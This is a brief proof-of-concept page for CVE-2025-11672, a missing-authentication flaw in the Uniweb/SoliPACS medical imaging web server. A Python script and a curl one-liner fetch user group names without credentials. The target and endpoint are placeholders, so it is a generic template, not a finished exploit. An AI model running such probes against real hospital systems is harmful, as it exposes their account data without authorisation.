CVE-2025-11672 EBM Technologies Uniweb/SoliPACS WebServer 缺失认证漏洞

# CVE-2025-11672 - Uniweb/SoliPACS WebServer Missing Authentication PoC # This PoC demonstrates how an unauthenticated attacker can access # a specific page to obtain user group names. import requests # Target configuration TARGET_URL = "http://target-host:port" # Replace with actual target URL # The specific endpoint that lacks authentication # (path may vary depending on the specific version and configuration) VULNERABLE_ENDPOINT = "/path/to/usergroup/page" # Replace with actual endpoint def exploit_missing_auth(target_url, endpoint): """ Exploit CVE-2025-11672: Access user group information without authentication. """ url = f"{target_url}{endpoint}" try: # Send unauthenticated GET request to the vulnerable page response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed: {url}") print(f"[+] Response body:\n{response.text}") # Parse user group names from the response # The exact parsing logic depends on the response format return response.text else: print(f"[-] Unexpected status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-11672 PoC - Missing Authentication in Uniweb/SoliPACS WebServer") print(f"[*] Target: {TARGET_URL}") result = exploit_missing_auth(TARGET_URL, VULNERABLE_ENDPOINT) if result: print("[*] User group names obtained successfully.") else: print("[*] Exploit failed or target not vulnerable.") # Simple curl command alternative: # curl -v "http://target-host:port/path/to/usergroup/page" # No authentication headers or cookies required.